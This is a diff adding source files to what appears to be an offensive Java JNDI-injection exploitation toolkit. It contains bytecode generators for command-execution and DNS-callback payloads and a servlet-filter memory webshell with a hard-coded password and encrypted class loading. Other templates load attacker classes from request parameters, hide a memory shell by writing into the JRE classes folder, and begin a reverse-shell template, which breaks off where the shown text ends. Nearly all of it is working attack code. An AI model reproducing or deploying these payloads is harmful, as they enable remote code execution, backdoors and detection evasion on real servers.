a/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLConnection.java b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLConnection.java new file mode 100644 index 0000000..520e49b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLConnection.java @@ -0,0 +1,99 @@ +package com.qi4l.jndi.template.Agent.utli; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public class SuURLConnection extends URLConnection { + public static String STREAM_HANDLER_CLASSNAME; + private static List FILES = new ArrayList(); + + static { + try { + Field fld; + try { + fld = URL.class.getDeclaredField("handlers"); + } catch (NoSuchFieldException var7) { + try { + fld = URL.class.getDeclaredField("ph_cache"); + } catch (NoSuchFieldException var6) { + throw var7; + } + } + + fld.setAccessible(true); + Map handlers = (Map) fld.get((Object) null); + synchronized (handlers) { + Object handler; + if (handlers.containsKey("ysuserial")) { + handler = handlers.get("ysuserial"); + } else { + handler = Class.forName(STREAM_HANDLER_CLASSNAME).newInstance(); + handlers.put("ysuserial", handler); + } + + FILES = (List) handler.getClass().getMethod("getFiles").invoke(handler); + } + } catch (Exception var8) { + throw new RuntimeException(var8.toString()); + } + } + + // 当前 SuURLConnection 对应的对象 + private final byte[] DATA; + private final String contentType; + + + /** + * 构造方法,根据指定的 URL 格式将 DATA 进行指定赋值 + * + * @param url + */ + protected SuURLConnection(URL url) { + super(url); + String file = url.getFile(); + int pos = file.indexOf(47); + synchronized (FILES) { + this.DATA = (byte[]) ((byte[]) FILES.get(Integer.parseInt(file.substring(0, pos)))); + } + + this.contentType = file.substring(pos + 1); + } + + /** + * 将一个 URL 对象 (byte[])存放在 FILES 中 + * + * @param data jar 包字节码数组 + * @param contentType 原本是文件路径,这里因为是虚拟的,所以随便写一个标识位就可以 + * @return 返回 URL 对象 + * @throws MalformedURLException 抛出异常 + */ + public static URL createURL(byte[] data, String contentType) throws MalformedURLException { + synchronized (FILES) { + FILES.add(data); + return new URL("ysuserial", "", FILES.size() - 1 + "/" + contentType); + } + } + + public void connect() throws IOException { + } + + public InputStream getInputStream() throws IOException { + return new ByteArrayInputStream(this.DATA); + } + + public int getContentLength() { + return this.DATA.length; + } + + public String getContentType() { + return this.contentType; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.java b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.java new file mode 100644 index 0000000..f31e7b9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.template.Agent.utli; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.List; + +public class SuURLStreamHandler { + public static String URL_CONNECTION_CLASSNAME; + + private List files = new ArrayList(); + + public SuURLStreamHandler() { + } + + /** + * 与 SuURLConnection 联动的 URLStreamHandler + * + * @param u 特殊的 URL 对象 + * @return 返回 SuURLConnection 对象 + * @throws IOException 抛出异常 + */ + protected URLConnection openConnection(URL u) throws IOException { + try { + Class clazz = Class.forName(URL_CONNECTION_CLASSNAME); + Constructor constructor = clazz.getDeclaredConstructor(URL.class); + constructor.setAccessible(true); + return (URLConnection) constructor.newInstance(u); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public List getFiles() { + return this.files; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/jndi/template/ClassLoaderTemplate.java new file mode 100644 index 0000000..a6b1157 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/ClassLoaderTemplate.java @@ -0,0 +1,86 @@ +package com.qi4l.jndi.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; + +/** + * ClassLoader define 代码 + */ +public class ClassLoaderTemplate { + + static String b64; + + static String className; + + static { + try { + // 初始化 + initClassBytes(); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + while ((read = gzipInputStream.read(bs)) != -1) { + byteArrayOutputStream.write(bs, 0, read); + } + byte[] bytes = byteArrayOutputStream.toByteArray(); + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + invoke.newInstance(); + + //ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + //Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + //method.setAccessible(true); + //Class invoke = (Class) method.invoke(null, classLoader, className, bytes, 0, bytes.length); + //try { + // // 先尝试 newInstance + // invoke.newInstance(); + //} catch (Exception ignored) { + // try { + // // 如果没有无参构造方法,会报错,这里可以使用 Unsafe 创建,个人非常喜欢 Unsafe 这个类,无拘无束,自由自在 + // Class unsafe = Class.forName("sun.misc.Unsafe"); + // Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + // theUnsafeField.setAccessible(true); + // Object unsafeObject = theUnsafeField.get(null); + // unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, invoke); + // } catch (Exception neverMind) { + // // 如果没有 Unsafe,可以使用反射库中的方法,为 Class 创建一个 + // Constructor objCons = invoke.getDeclaredConstructor(new Class[0]); + // objCons.setAccessible(true); + // Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(invoke, objCons); + // sc.setAccessible(true); + // sc.newInstance(new Object[0]); + // } + //} + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } + + public static void initClassBytes() { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/template/CommandTemplate.java b/src/main/java/com/qi4l/jndi/template/CommandTemplate.java new file mode 100644 index 0000000..6f062f1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/CommandTemplate.java @@ -0,0 +1,145 @@ +package com.qi4l.jndi.template; + +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class CommandTemplate implements Template { + private String className; + private byte[] bytes; + private String cmd; + + public CommandTemplate(String cmd) { + this.cmd = cmd; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public CommandTemplate(String cmd, String className) { + this.cmd = cmd; + this.className = className; + + generate(); + } + + public void cache() { + Cache.set(className, bytes); + } + + public String getClassName() { + return className; + } + + public byte[] getBytes() { + return bytes; + } + + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + { + fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l3 = new Label(); + mv.visitJumpInsn(IFEQ, l3); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/sh"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitJumpInsn(GOTO, l0); + mv.visitLabel(l3); + mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{}); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("cmd"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("/C"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"[Ljava/lang/String;"}, 0, null); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + Label l4 = new Label(); + mv.visitJumpInsn(GOTO, l4); + mv.visitLabel(l2); + mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"}); + mv.visitVarInsn(ASTORE, 2); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); + mv.visitLabel(l4); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + mv.visitLdcInsn(cmd); + mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(RETURN); + mv.visitMaxs(1, 0); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/jndi/template/DefineClassFromParameter.java new file mode 100644 index 0000000..870031b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/DefineClassFromParameter.java @@ -0,0 +1,94 @@ +package com.qi4l.jndi.template; + +/** + * 在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 + * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 + * 内存马 class 文件可以自行生成,base64 编码后由 request body 中的 dc 参数传递 + */ +public class DefineClassFromParameter { + + public static String parameter; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + + Object req = f.get(processor); + Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); + String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); + if (payload != null && !payload.isEmpty()) { + byte[] classBytes = base64Decode(payload); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); + clazz.newInstance(); + } + + flag = true; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/DnslogTemplate.java b/src/main/java/com/qi4l/jndi/template/DnslogTemplate.java new file mode 100644 index 0000000..5652683 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/DnslogTemplate.java @@ -0,0 +1,134 @@ +package com.qi4l.jndi.template; + +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class DnslogTemplate implements Template { + private String className; + private byte[] bytes; + private String dnslog; + + + public DnslogTemplate(String dnslog) { + this.dnslog = dnslog; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public DnslogTemplate(String dnslog, String className) { + this.dnslog = dnslog; + this.className = className; + + generate(); + } + + public void cache() { + Cache.set(className, bytes); + } + + public String getClassName() { + return className; + } + + public byte[] getBytes() { + return bytes; + } + + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + { + fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l3 = new Label(); + mv.visitJumpInsn(IFEQ, l3); + mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); + mv.visitInsn(DUP); + mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); + mv.visitLdcInsn("ping -c 1 "); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); + mv.visitVarInsn(ASTORE, 1); + mv.visitJumpInsn(GOTO, l0); + mv.visitLabel(l3); + mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{}); + mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); + mv.visitInsn(DUP); + mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); + mv.visitLdcInsn("nslookup "); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"java/lang/String"}, 0, null); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + Label l4 = new Label(); + mv.visitJumpInsn(GOTO, l4); + mv.visitLabel(l2); + mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/io/IOException"}); + mv.visitVarInsn(ASTORE, 2); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); + mv.visitLabel(l4); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitMaxs(2, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + mv.visitLdcInsn(dnslog); + mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitInsn(RETURN); + mv.visitMaxs(1, 0); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/DynamicFilterTemplate.java b/src/main/java/com/qi4l/jndi/template/DynamicFilterTemplate.java new file mode 100644 index 0000000..2d634d3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/DynamicFilterTemplate.java @@ -0,0 +1,101 @@ +package com.qi4l.jndi.template; + +import sun.misc.BASE64Decoder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import java.io.File; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Scanner; + +public class DynamicFilterTemplate implements Filter { + + private Class myClassLoaderClazz; + private String basicCmdShellPwd = "pass"; + private String behinderShellHeader = "X-Options-Ai"; + private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond + + public DynamicFilterTemplate() { + super(); + initialize(); + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + System.out.println("[+] Dynamic Filter says hello"); + + if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) { + //basic cmd shell + String cmd = servletRequest.getParameter(basicCmdShellPwd); + if (cmd != null && !cmd.isEmpty()) { + String[] cmds = null; + if (File.separator.equals("/")) { + cmds = new String[]{"/bin/sh", "-c", cmd}; + } else { + cmds = new String[]{"cmd", "/C", cmd}; + } + String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); + servletResponse.getWriter().println(result); + } + } else if (((HttpServletRequest) servletRequest).getHeader(behinderShellHeader) != null) { + //behind3 shell + try { + if (((HttpServletRequest) servletRequest).getMethod().equals("POST")) { + String k = behinderShellPwd; + ((HttpServletRequest) servletRequest).getSession().setAttribute("u", k); + Cipher cipher = Cipher.getInstance("AES"); + cipher.init(2, new SecretKeySpec((((HttpServletRequest) servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); + byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); + Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); + Object evilObject = evilClass.newInstance(); + Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); + targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); + } + } catch (Exception e) { + e.printStackTrace(); + } + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } + + private void initialize() { + try { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + this.myClassLoaderClazz = classLoader.loadClass("com.qi4l.jndi.template.MyClassLoader"); + } catch (ClassNotFoundException e) { + String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; + byte[] bytes = new BASE64Decoder().decodeBuffer(code); + Method method = null; + try { + method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); + } catch (NoSuchMethodException ex) { + ex.printStackTrace(); + } + } + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/jndi/template/HideMemShellTemplate.java new file mode 100644 index 0000000..b005eec --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/HideMemShellTemplate.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; + +/** + * 通过落地恶意文件到 /jre/classes 来使 Bootstrap ClassLoader 加载恶意代码 + * 使常见的工具无法检测出系统内的内存马 + * 由于 classes 文件夹默认不存在,因此需要较高的读写权限 + */ +public class HideMemShellTemplate extends ClassLoader { + static String b64; + + static String className; + + static { + try { + writeClassFileToJRE(className, b64); + new HideMemShellTemplate().loadClass(className); + } catch (Exception ignored) { + } + } + + public static void writeClassFileToJRE(String className, String base64Content) throws Exception { + ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + + while ((read = bais.read(bs)) != -1) { + baos.write(bs, 0, read); + } + + byte[] bytes = baos.toByteArray(); + + String javaHome = System.getenv().get("JAVA_HOME"); + javaHome = javaHome == null ? System.getProperty("java.home") : javaHome; + + if (javaHome != null && (!javaHome.endsWith("jre/") || !javaHome.endsWith("jre"))) { + javaHome += "/jre/"; + } + + File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); + + if (!file.getParentFile().exists()) { + file.getParentFile().mkdirs(); + } + + FileOutputStream fos = new FileOutputStream(file); + fos.write(bytes); + fos.flush(); + fos.close(); + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + return value; + } + + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + System.out.println(Thread.currentThread().getContextClassLoader()); + return Class.forName(name, true, Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/MyClassLoader.java b/src/main/java/com/qi4l/jndi/template/MyClassLoader.java new file mode 100644 index 0000000..994e449 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/MyClassLoader.java @@ -0,0 +1,12 @@ +package com.qi4l.jndi.template; + +public class MyClassLoader extends ClassLoader { + MyClassLoader(ClassLoader c) { + super(c); + } + + + public static Class defineClass(byte[] bytes, ClassLoader classLoader) { + return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/jndi/template/ReverseShellTemplate.java new file mode 100644 index 0000000..e2fa403 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/ReverseShellTemplate.java @@ -0,0 +1,171 @@ +package com.qi4l.jndi.template; + +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class ReverseShellTemplate implements Template { + private String className; + private byte[] bytes; + private String ip; + private int port; + + public ReverseShellTemplate(String ip, String port) { + this(ip, Integer.parseInt(port)); + } + + + public ReverseShellTemplate(String ip, int port) 